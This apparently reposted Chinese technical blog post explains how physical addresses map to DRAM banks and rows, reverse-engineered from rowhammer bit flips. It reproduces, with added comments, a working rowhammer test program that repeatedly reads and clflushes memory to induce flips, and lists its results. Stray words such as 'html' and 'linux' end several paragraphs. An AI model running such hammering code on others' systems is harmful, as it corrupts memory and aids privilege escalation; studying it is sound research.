intel：spectre&Meltdown側信道攻擊（五）—— DRAM address mapping

時間 2020-08-01

標籤 intel spectre&meltdown spectre meltdown 信道攻擊 dram address mapping 欄目 Intel 简体版

原文原文鏈接

　　前面介紹了row hammer，理論上很完美，實際操做的時候會面臨很尷尬的問題：內存存儲數據最小的單位是cell（就是個電容，充電是1，放電是0），無數個橫着的cell組成row，無數個豎着的cell組成colume；數個row和colume組成bank，多個bank組成chip，而後是rank，接着是dimm、channel，總的邏輯包含順序是：channel->dimm->rank->chip->bak->row/colume->cell；怎麼把物理地址映射到具體的cell了？換句話說：好比知道了某個能提權數據位的虛擬地址，linux和windwos都能調用系統API查找到相應的物理地址，又怎麼根據物理地址映射到bank/row/colume了？不然怎麼精準hammer？Intel 並未公開映射算法，怎麼經過一些逆向的方式、方法猜想出物理地址到dram 的address mapping了？html

　　一、百度的同窗公開一種算法，https://cloud.tencent.com/developer/article/1620354 這裏有算法的說明，但本人並未找到該工具（自稱DRAMDig）的源代碼，也未找到該工具下載的地址，未能驗證證其效果；爲方便理解，整理了一個導圖，以下：linux

　　經過DRAMDig測試的結果以下，因而可知：不一樣cpu型號、不一樣內存大小，對應不一樣的row、colume、bank function，狀況較爲複雜；git

　　二、國外有團隊作了row hammer測試，根據測試結果猜想出了物理地址映射到DRAM的方法，具體參考：http://lackingrhoticity.blogspot.com/2015/05/how-physical-addresses-map-to-rows-and-banks.htmlgithub

　　　對應的測試代碼：https://github.com/google/rowhammer-test/tree/master/extended_test 下面詳細說明代碼的思路和倒推映射算法的思路；算法

　　（1）整個流程大體以下：先分配1GB內存，每一個bit所有初始化爲1；再盲選40個地址反覆hammer，選出成功flip的地址後兩兩組合繼續hammer，再取消兩兩組合後繼續hammer；express

　　（2）新問題來了：做者一開始盲選地址hammer，成功flip後爲啥要narrow to pair down後再hammer了？——爲了更準確地確認物理地址和反轉flip的關係，看看究竟是哪一個地址致使了哪些cell flip，藉此更精確的地逆向address mapping；下面會打印hammer的地址和被flip的地址，而後根據這些信息逆向address mapping；apache

if (check(&bit_flip_info)) {
        found = true;
        printf("RESULT PAIR,0x%" PRIx64 ",0x%" PRIx64 ",0x%" PRIx64 ",%i,%i\n",
               get_physical_addr((uintptr_t) addr1),
               get_physical_addr((uintptr_t) addr2),
               get_physical_addr((uintptr_t) bit_flip_info.victim_virtual_addr),
               bit_flip_info.bit_number,
               bit_flip_info.flips_to);
      }

　　做者耗費6小時，反轉了22個地址，分別以下：ubuntu

RESULT PAIR,0x6ccc1000,0x6cd59000,0x6cd1f680,40,0
RESULT PAIR,0x708f1000,0x70969000,0x7092ef08,40,0
RESULT PAIR,0x1a1d57000,0x1a1ddc000,0x1a1d9b718,63,0
RESULT PAIR,0x1a14de000,0x72367000,0x72321c20,33,0
RESULT PAIR,0x194d63000,0x194cf8000,0x194d27b30,16,0
RESULT PAIR,0x7b664000,0x7b6ed000,0x7b622d30,47,0
RESULT PAIR,0x72366000,0x61503000,0x72321c20,33,0
RESULT PAIR,0x72366000,0x5e9cf000,0x72321c20,33,0
RESULT PAIR,0x193606000,0x193825000,0x193643c10,2,0
RESULT PAIR,0x171417000,0x171236000,0x171272980,44,0
RESULT PAIR,0x17a644000,0x17a865000,0x17a822f00,49,0
RESULT PAIR,0x80af9000,0x17ebaf000,0x80a34310,4,0
RESULT PAIR,0x1961ec000,0x196165000,0x1961abd10,39,0
RESULT PAIR,0x7248f000,0x72515000,0x724c8d88,45,0
RESULT PAIR,0x1716b7000,0x7eb69000,0x1716f1ea0,36,0
RESULT PAIR,0x16f3d6000,0x16f1f6000,0x16f3930b0,47,0
RESULT PAIR,0x72901000,0x177232000,0x1772775a0,41,0
RESULT PAIR,0x772fc000,0x77277000,0x77231830,36,0
RESULT PAIR,0x7bcf3000,0x7bd69000,0x7bd2ef10,33,0
RESULT PAIR,0x7e275000,0x7e456000,0x7e412a30,39,0
RESULT PAIR,0x1730d7000,0x17305d000,0x1730910a8,35,0
RESULT PAIR,0x80afb000,0x78671000,0x80a34310,4,0

　　怎麼根據這些flip的位反推物理地址和row、colume、bank了？做者cpu是sandy brige，ubuntu系統，4GB內存，先用decode-dimms初步查看了內存信息，以下:緩存

Size                                            4096 MB
Banks x Rows x Columns x Bits                   8 x 15 x 10 x 64
Ranks                                           2

　　這裏有2個rank，8個bank；每一個bank包含了2^15 = 32768 rows；每一個row的容量 2^10*64=8KB；總容量 = 8 kbytes per row * 32768 rows * 2 ranks * 8 banks = 4GB；經過該命令，初步確認了row、colume和bank的位數；結合上述被filp的地址，連帶着各類猜想和不停的嘗試，做者把地址作出瞭如下分解：app

result:
    diff=-39980
    addr=0x06cd1f680 -> row=01101100110100 rank=0 bank=011 col_hi=1101101 channel=0 col_lo=000000 (victim)
    addr=0x06cd59000 -> row=01101100110101 rank=0 bank=011 col_hi=0100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x06ccc1000 -> row=01101100110011 rank=0 bank=011 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-3a0f8
    addr=0x07092ef08 -> row=01110000100100 rank=1 bank=111 col_hi=1011110 channel=0 col_lo=001000 (victim)
    addr=0x070969000 -> row=01110000100101 rank=1 bank=111 col_hi=0100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x0708f1000 -> row=01110000100011 rank=1 bank=111 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-408e8
    addr=0x1a1d9b718 -> row=10100001110110 rank=0 bank=000 col_hi=1101110 channel=0 col_lo=011000 (victim)  
    addr=0x1a1ddc000 -> row=10100001110111 rank=0 bank=000 col_hi=0000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x1a1d57000 -> row=10100001110101 rank=0 bank=000 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-453e0
    addr=0x072321c20 -> row=01110010001100 rank=1 bank=100 col_hi=0111000 channel=0 col_lo=100000 (victim)
    addr=0x072367000 -> row=01110010001101 rank=1 bank=100 col_hi=1100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x1a14de000 -> row=10100001010011 rank=0 bank=100 col_hi=1000000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=2fb30
    addr=0x194d27b30 -> row=10010100110100 rank=1 bank=101 col_hi=1110110 channel=0 col_lo=110000 (victim)
    addr=0x194cf8000 -> row=10010100110011 rank=1 bank=101 col_hi=0000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x194d63000 -> row=10010100110101 rank=1 bank=101 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
    unusual?
result:
    diff=-412d0
    addr=0x07b622d30 -> row=01111011011000 rank=1 bank=000 col_hi=1011010 channel=0 col_lo=110000 (victim)
    addr=0x07b664000 -> row=01111011011001 rank=1 bank=000 col_hi=0000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x07b6ed000 -> row=01111011011011 rank=1 bank=000 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-443e0
    addr=0x072321c20 -> row=01110010001100 rank=1 bank=100 col_hi=0111000 channel=0 col_lo=100000 (victim)
    addr=0x072366000 -> row=01110010001101 rank=1 bank=100 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x061503000 -> row=01100001010100 rank=0 bank=100 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-443e0
    addr=0x072321c20 -> row=01110010001100 rank=1 bank=100 col_hi=0111000 channel=0 col_lo=100000 (victim)
    addr=0x072366000 -> row=01110010001101 rank=1 bank=100 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x05e9cf000 -> row=01011110100111 rank=0 bank=100 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=3dc10
    addr=0x193643c10 -> row=10010011011001 rank=0 bank=001 col_hi=1111000 channel=0 col_lo=010000 (victim)
    addr=0x193606000 -> row=10010011011000 rank=0 bank=001 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x193825000 -> row=10010011100000 rank=1 bank=001 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=3c980
    addr=0x171272980 -> row=01110001001001 rank=1 bank=101 col_hi=1010011 channel=0 col_lo=000000 (victim)
    addr=0x171236000 -> row=01110001001000 rank=1 bank=101 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x171417000 -> row=01110001010000 rank=0 bank=101 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-42100
    addr=0x17a822f00 -> row=01111010100000 rank=1 bank=000 col_hi=1011110 channel=0 col_lo=000000 (victim)
    addr=0x17a865000 -> row=01111010100001 rank=1 bank=000 col_hi=0100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x17a644000 -> row=01111010011001 rank=0 bank=000 col_hi=0000000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-c4cf0
    addr=0x080a34310 -> row=10000000101000 rank=1 bank=101 col_hi=0000110 channel=0 col_lo=010000 (victim)
    addr=0x080af9000 -> row=10000000101011 rank=1 bank=101 col_hi=0100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x17ebaf000 -> row=01111110101110 rank=1 bank=101 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=False
    unusual?
result:
    diff=-402f0
    addr=0x1961abd10 -> row=10010110000110 rank=1 bank=100 col_hi=1111010 channel=0 col_lo=010000 (victim)
    addr=0x1961ec000 -> row=10010110000111 rank=1 bank=100 col_hi=0000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x196165000 -> row=10010110000101 rank=1 bank=100 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=39d88
    addr=0x0724c8d88 -> row=01110010010011 rank=0 bank=001 col_hi=0011011 channel=0 col_lo=001000 (victim)
    addr=0x07248f000 -> row=01110010010010 rank=0 bank=001 col_hi=1100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x072515000 -> row=01110010010100 rank=0 bank=001 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=3aea0
    addr=0x1716f1ea0 -> row=01110001011011 rank=1 bank=111 col_hi=0111101 channel=0 col_lo=100000 (victim)
    addr=0x1716b7000 -> row=01110001011010 rank=1 bank=111 col_hi=1100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x07eb69000 -> row=01111110101101 rank=1 bank=111 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-42f50
    addr=0x16f3930b0 -> row=01101111001110 rank=0 bank=010 col_hi=1100001 channel=0 col_lo=110000 (victim)
    addr=0x16f3d6000 -> row=01101111001111 rank=0 bank=010 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x16f1f6000 -> row=01101111000111 rank=1 bank=010 col_hi=1000000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=455a0
    addr=0x1772775a0 -> row=01110111001001 rank=1 bank=100 col_hi=1101011 channel=0 col_lo=100000 (victim)
    addr=0x177232000 -> row=01110111001000 rank=1 bank=100 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x072901000 -> row=01110010100100 rank=0 bank=100 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-457d0
    addr=0x077231830 -> row=01110111001000 rank=1 bank=100 col_hi=0110000 channel=0 col_lo=110000 (victim)
    addr=0x077277000 -> row=01110111001001 rank=1 bank=100 col_hi=1100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x0772fc000 -> row=01110111001011 rank=1 bank=100 col_hi=0000000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-3a0f0
    addr=0x07bd2ef10 -> row=01111011110100 rank=1 bank=111 col_hi=1011110 channel=0 col_lo=010000 (victim)
    addr=0x07bd69000 -> row=01111011110101 rank=1 bank=111 col_hi=0100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x07bcf3000 -> row=01111011110011 rank=1 bank=111 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=-435d0
    addr=0x07e412a30 -> row=01111110010000 rank=0 bank=100 col_hi=1010100 channel=0 col_lo=110000 (victim)
    addr=0x07e456000 -> row=01111110010001 rank=0 bank=100 col_hi=1000000 channel=0 col_lo=000000 (aggressor1)
    addr=0x07e275000 -> row=01111110001001 rank=1 bank=100 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
result:
    diff=340a8
    addr=0x1730910a8 -> row=01110011000010 rank=0 bank=110 col_hi=0100001 channel=0 col_lo=101000 (victim)
    addr=0x17305d000 -> row=01110011000001 rank=0 bank=110 col_hi=0100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x1730d7000 -> row=01110011000011 rank=0 bank=110 col_hi=1100000 channel=0 col_lo=000000 (aggressor2)
    fits=True
    unusual?
result:
    diff=-c6cf0
    addr=0x080a34310 -> row=10000000101000 rank=1 bank=101 col_hi=0000110 channel=0 col_lo=010000 (victim)
    addr=0x080afb000 -> row=10000000101011 rank=1 bank=101 col_hi=1100000 channel=0 col_lo=000000 (aggressor1)
    addr=0x078671000 -> row=01111000011001 rank=1 bank=101 col_hi=0100000 channel=0 col_lo=000000 (aggressor2)
    fits=False
    unusual?

　　仔細觀察：（1）aggressor1距離victim更近（22個樣本中，20個樣本的位數只差1，兩個樣本差3），大機率是影響victim 的地址（2）victims和兩個aggressor都在同一個bank

　　進而得出瞭如下address mapping的結論：

Bits 0-5: These are the lower 6 bits of the byte index within a row (i.e. the 6-bit index into a 64-byte cache line).
Bit 6: This is a 1-bit channel number, which selects between the 2 DIMMs.
Bits 7-13: These are the upper 7 bits of the index within a row (i.e. the upper bits of the column number).
Bits 14-16: These are XOR'd with the bottom 3 bits of the row number to give the 3-bit bank number.
Bit 17: This is a 1-bit rank number, which selects between the 2 ranks of a DIMM (which are typically the two sides of the DIMM's circuit board).
Bits 18-32: These are the 15-bit row number.
Bits 33+: These may be set because physical memory starts at physical addresses greater than 0.

　　內存管理器這麼映射物理地址，有啥好處了？

0~5bit一共有6位，恰好是2^6=64byte 一個cache line的大小，這麼作可讓兩個channel同時並行訪問不一樣的cache line，提高速度；
bank 並行：8個bank能夠同時並行讀寫，提高速度
bank function： bank bit之間的XOR，能夠在大範圍讀取數據時讓地址映射到不一樣的bank，減小thrashing碰撞的機率

　　（3）最核心的hammer代碼以下: 對特定地址讀54萬次；每次讀後cflush清空cache line，強迫cpu每次都去DRAM讀取，使得對應地址的row反覆充放電，達到hammer的效果；

//inner的每一個地址分別讀數據，再清除緩存，如此重複54萬次；
static void row_hammer_inner(struct InnerSet inner) {
  if (TEST_MODE &&
      inner.addrs[0] == g_inject_addr1 &&
      inner.addrs[1] == g_inject_addr2) {
    printf("Test mode: Injecting bit flip...\n");
    g_mem[3] ^= 1;
  }

  uint32_t sum = 0;
  for (int i = 0; i < toggles; i++) {//重複54萬次
    for (int a = 0; a < ADDR_COUNT; a++)
      sum += *inner.addrs[a] + 1;//分別從4個內層地址讀數據，能夠把這4個地址存儲的數據放進rowbuffer，原地址的cell讀一次會充放電一次，影響其周邊的cell；
    if (!TEST_MODE) {
      for (int a = 0; a < ADDR_COUNT; a++)
        //上面4個地址的內容從cache line清除，確保下次cpu仍是從內存去讀，才能保證row hammer的效果
        asm volatile("clflush (%0)" : : "r" (inner.addrs[a]) : "memory");
    }
  }

  // Sanity check.  We don't expect this to fail, because reading
  // these rows refreshes them.
  if (sum != 0) {
    printf("error: sum=%x\n", sum);
    exit(1);
  }
}

　　　完整代碼以下：精華都在註釋（英文是原做者，中文是我加的）

// Copyright 2015, Google, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// This is required on Mac OS X for getting PRI* macros #defined.
#define __STDC_FORMAT_MACROS

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#if !defined(TEST_MODE)
# define TEST_MODE 0
#endif

const size_t mem_size = 1 << 30;//1GB
const int toggles = 540000;

char *g_mem;
void *g_inject_addr1;
void *g_inject_addr2;

uint64_t g_address_sets_tried;
int g_errors_found;

/*從g_mem開始隨機選個物理地址，偏移是頁的整數倍，大小不超過1GB 
http://lackingrhoticity.blogspot.com/2015/05/how-physical-addresses-map-to-rows-and-banks.html 原做者本身的硬件環境：
Bits 0-5: These are the lower 6 bits of the byte index within a row (i.e. the 6-bit index into a 64-byte cache line).
Bit 6: This is a 1-bit channel number, which selects between the 2 DIMMs.
Bits 7-13: These are the upper 7 bits of the index within a row (i.e. the upper bits of the column number).
物理地址依次增長0x1000，也就是不一樣的物理地址低12位是相同的，那麼這些物理地址的：一、channel是同樣的  二、colume是同樣的  三、bank和row可能不一樣
*/
char *pick_addr() {
  //offset是頁（1<<12=4096）的整數倍
  size_t offset = (rand() << 12) % mem_size;
  return g_mem + offset;
}
//虛擬地址轉成物理地址，http://0x4c43.cn/2018/0508/linux-dynamic-link/  有詳細說明
uint64_t get_physical_addr(uintptr_t virtual_addr) {
  int fd = open("/proc/self/pagemap", O_RDONLY);
  assert(fd >= 0);

  int kPageSize = 0x1000;
  off_t pos = lseek(fd, (virtual_addr / kPageSize) * 8, SEEK_SET);
  assert(pos >= 0);
  uint64_t value;
  int got = read(fd, &value, 8);
  assert(got == 8);
  int rc = close(fd);
  assert(rc == 0);

  uint64_t frame_num = value & ((1ULL << 54) - 1);
  return (frame_num * kPageSize) | (virtual_addr & (kPageSize - 1));
}

class Timer {
  struct timeval start_time_;

 public:
  Timer() {
    // Note that we use gettimeofday() (with microsecond resolution)
    // rather than clock_gettime() (with nanosecond resolution) so
    // that this works on Mac OS X, because OS X doesn't provide
    // clock_gettime() and we don't really need nanosecond resolution.
    int rc = gettimeofday(&start_time_, NULL);
    assert(rc == 0);
  }

  double get_diff() {
    struct timeval end_time;
    int rc = gettimeofday(&end_time, NULL);
    assert(rc == 0);
    return (end_time.tv_sec - start_time_.tv_sec
            + (double) (end_time.tv_usec - start_time_.tv_usec) / 1e6);
  }
};

#define ADDR_COUNT 4
#define ITERATIONS 10

struct InnerSet {
  uint32_t *addrs[ADDR_COUNT];//4個32位的地址
};
struct OuterSet {
  struct InnerSet inner[ITERATIONS];//10個內層結構，每一個內層結構4個32位地址
};

/*g_mem每bit都置1，後續按照必定頻率反覆讀寫某些地址的數據。若是發生flip，
會致使其內容再也不是1，後續會在check函數檢查是否發生了bit flip*/
static void reset_mem() {
  memset(g_mem, 0xff, mem_size);
}

//從g_mem開始隨機選擇40個物理地址保存在set；物理地址的偏移是頁的整數倍，大小超過1GB；
static void pick_addrs(struct OuterSet *set) {
  for (int j = 0; j < ITERATIONS; j++) {
    for (int a = 0; a < ADDR_COUNT; a++) {
      set->inner[j].addrs[a] = (uint32_t *) pick_addr();
    }
  }
}

//inner的每一個地址分別讀數據，再清除緩存，如此重複54萬次；
static void row_hammer_inner(struct InnerSet inner) {
  if (TEST_MODE &&
      inner.addrs[0] == g_inject_addr1 &&
      inner.addrs[1] == g_inject_addr2) {
    printf("Test mode: Injecting bit flip...\n");
    g_mem[3] ^= 1;
  }

  uint32_t sum = 0;
  for (int i = 0; i < toggles; i++) {//重複54萬次
    for (int a = 0; a < ADDR_COUNT; a++)
      sum += *inner.addrs[a] + 1;//分別從4個內層地址讀數據，能夠把這4個地址存儲的數據放進rowbuffer，原地址的cell讀一次會充放電一次，影響其周邊的cell；
    if (!TEST_MODE) {
      for (int a = 0; a < ADDR_COUNT; a++)
        //上面4個地址的內容從cache line清除，確保下次cpu仍是從內存去讀，才能保證row hammer的效果
        asm volatile("clflush (%0)" : : "r" (inner.addrs[a]) : "memory");
    }
  }

  // Sanity check.  We don't expect this to fail, because reading
  // these rows refreshes them.
  if (sum != 0) {
    printf("error: sum=%x\n", sum);
    exit(1);
  }
}

static void row_hammer(struct OuterSet *set) {
  Timer timer;
  for (int j = 0; j < ITERATIONS; j++) {
      //讀取inner的地址、清空緩存，重複54萬次；
    row_hammer_inner(set->inner[j]);
    g_address_sets_tried++;
  }

  // Print statistics derived from the time and number of accesses.
  double time_taken = timer.get_diff();
  printf("  Took %.1f ms per address set\n",//1個set = 1個1inner(一共4個地址)，耗時58~59ms，平局每一個地址的讀取耗時14.5~15ms(每一個地址重複了54萬次，而且上次讀取後清空了緩存)；
         time_taken / ITERATIONS * 1e3);
  printf("  Took %g sec in total for %i address sets\n",
         time_taken, ITERATIONS);
  int memory_accesses = ITERATIONS * ADDR_COUNT * toggles;
  printf("  Took %.3f nanosec per memory access (for %i memory accesses)\n",
         time_taken / memory_accesses * 1e9,//每一個地址的讀取時間在27~29ns之間
         memory_accesses);
  int refresh_period_ms = 64;//內存控制器每64ms刷新一次；每一個刷新週期內，每一個地址訪問53~58萬次；
  printf("  This gives %i accesses per address per %i ms refresh period\n",
         (int) (refresh_period_ms * 1e-3 * ITERATIONS * toggles / time_taken),
         refresh_period_ms);
}

struct BitFlipInfo {
  uintptr_t victim_virtual_addr;
  int bit_number;
  uint8_t flips_to;  // 1 if this is a 0 -> 1 bit flip, 0 otherwise.
};

static bool check(struct BitFlipInfo *result) {
  uint64_t *end = (uint64_t *) (g_mem + mem_size);
  uint64_t *ptr;
  bool found_error = false;
  for (ptr = (uint64_t *) g_mem; ptr < end; ptr++) {
    uint64_t got = *ptr;
    uint64_t expected = ~(uint64_t) 0;//g_mem每一個bit初始都置1
    if (got != expected) {
      printf("error at %p (phys 0x%" PRIx64 "): got 0x%" PRIx64 "\n",
             ptr, get_physical_addr((uintptr_t) ptr), got);
      found_error = true;
      g_errors_found++;

      if (result) {
        result->victim_virtual_addr = (uintptr_t) ptr;//保存flip的地址
        result->bit_number = -1;//0xff，初始值；
        for (int bit = 0; bit < 64; bit++) {//上面每次比對取64bit，這裏繼續看看究竟是哪一個bit被flip了
          if (((got >> bit) & 1) != ((expected >> bit) && 1)) {
            result->bit_number = bit;//找到了flip的位，最終flip的位=victim_virtual_addr+bit_number；
            result->flips_to = (got >> bit) & 1;
          }
        }
        assert(result->bit_number != -1);
      }
    }
  }
  return found_error;
}
/*
用發生flip的地址兩兩組合造成新inner地址，縮小範圍後繼續hammer
*/
bool narrow_to_pair(struct InnerSet *inner) {
  bool found = false;
  for (int idx1 = 0; idx1 < ADDR_COUNT; idx1++) {
    for (int idx2 = idx1 + 1; idx2 < ADDR_COUNT; idx2++) {
        //0+一、1+二、2+3組合發生反轉的地址
      uint32_t *addr1 = inner->addrs[idx1];
      uint32_t *addr2 = inner->addrs[idx2];
      struct InnerSet new_set;
      // This is slightly hacky: We reuse row_hammer_inner(), which
      // always expects to hammer ADDR_COUNT addresses.  Rather than
      // making another version that takes a pair of addresses, we
      // just pass our 2 addresses to row_hammer_inner() multiple
      // times.  新的inner分別放這兩個發生過flip的地址組合
      for (int a = 0; a < ADDR_COUNT; a++) {
        new_set.addrs[a] = a % 2 == 0 ? addr1 : addr2;
      }
      printf("Trying pair: 0x%" PRIx64 ", 0x%" PRIx64 "\n",
             get_physical_addr((uintptr_t) addr1),
             get_physical_addr((uintptr_t) addr2));
      reset_mem();
      row_hammer_inner(new_set);
      struct BitFlipInfo bit_flip_info;
      if (check(&bit_flip_info)) {
        found = true;
        printf("RESULT PAIR,0x%" PRIx64 ",0x%" PRIx64 ",0x%" PRIx64 ",%i,%i\n",
               get_physical_addr((uintptr_t) addr1),
               get_physical_addr((uintptr_t) addr2),
               get_physical_addr((uintptr_t) bit_flip_info.victim_virtual_addr),
               bit_flip_info.bit_number,
               bit_flip_info.flips_to);
      }
    }
  }
  return found;
}
//繼續hammer，把發生flip的inner地址保存後
bool narrow_down(struct OuterSet *outer) {
  bool found = false;
  for (int j = 0; j < ITERATIONS; j++) {
    reset_mem();
    row_hammer_inner(outer->inner[j]);
    if (check(NULL)) {
      printf("hammered addresses:\n");
      struct InnerSet *inner = &outer->inner[j];//把發生flip的地址保存在inner結構
      for (int a = 0; a < ADDR_COUNT; a++) {
        printf("  logical=%p, physical=0x%" PRIx64 "\n",
               inner->addrs[a],
               get_physical_addr((uintptr_t) inner->addrs[a]));
      }
      found = true;

      printf("Narrowing down to a specific pair...\n");
      int tries = 0;
      while (!narrow_to_pair(inner)) {
        if (++tries >= 10) {
          printf("Narrowing to pair: Giving up after %i tries\n", tries);
          break;
        }
      }
    }
  }
  return found;
}

void main_prog() {
  printf("RESULT START_TIME,%" PRId64 "\n", time(NULL));

  g_mem = (char *) mmap(NULL, mem_size, PROT_READ | PROT_WRITE,
                        MAP_ANON | MAP_PRIVATE, -1, 0);
  assert(g_mem != MAP_FAILED);

  printf("Clearing memory...\n");
  reset_mem();//分配的1G內存所有值0xFF

  Timer t;
  int iter = 0;
  for (;;) {
    printf("Iteration %i (after %.2fs)\n", iter++, t.get_diff());
    struct OuterSet addr_set;
    pick_addrs(&addr_set);
    if (TEST_MODE && iter == 3) {
      printf("Test mode: Will inject a bit flip...\n");
      g_inject_addr1 = addr_set.inner[2].addrs[0];
      g_inject_addr2 = addr_set.inner[2].addrs[1];
    }
    row_hammer(&addr_set);

    Timer check_timer;
    bool found_error = check(NULL);
    printf("  Checking for bit flips took %f sec\n", check_timer.get_diff());

    if (iter % 100 == 0 || found_error) {
      // Report general progress stats:
      //  - Time since start, in seconds
      //  - Current Unix time (seconds since epoch)
      //  - Number of address sets tried
      //  - Number of bit flips found (not necessarily unique ones)
      printf("RESULT STAT,%.2f,%" PRId64 ",%" PRId64 ",%i\n",
             t.get_diff(),
             (uint64_t) time(NULL),
             g_address_sets_tried,
             g_errors_found);
    }

    if (found_error) {
      printf("\nNarrowing down to set of %i addresses...\n", ADDR_COUNT);
      int tries = 0;
      while (!narrow_down(&addr_set)) {
        if (++tries >= 10) {
          printf("Narrowing to address set: Giving up after %i tries\n", tries);
          break;
        }
      }

      printf("\nRunning retries...\n");
      for (int i = 0; i < 10; i++) {
        printf("Retry %i\n", i);
        reset_mem();
        row_hammer(&addr_set);
        check(NULL);
      }
      if (TEST_MODE)
        exit(1);
    }
  }
}


int main() {
  // Turn off unwanted buffering for when stdout is a pipe.
  setvbuf(stdout, NULL, _IONBF, 0);

  // Start with an empty line in case previous output was truncated
  // mid-line.
  printf("\n");

  if (TEST_MODE) {
    printf("Running in safe test mode...\n");
  }

  // Fork a subprocess so that we can print the test process's exit
  // status, and to prevent reboots or kernel panics if we are running
  // as PID 1.
  int pid = fork();
  if (pid == 0) {
    main_prog();
    _exit(1);
  }

  int status;
  if (waitpid(pid, &status, 0) == pid) {
    printf("** exited with status %i (0x%x)\n", status, status);
  }

  if (getpid() == 1) {
    // We're the "init" process.  Avoid exiting because that would
    // cause a kernel panic, which can cause a reboot or just obscure
    // log output and prevent console scrollback from working.
    for (;;) {
      sleep(999);
    }
  }
  return 0;
}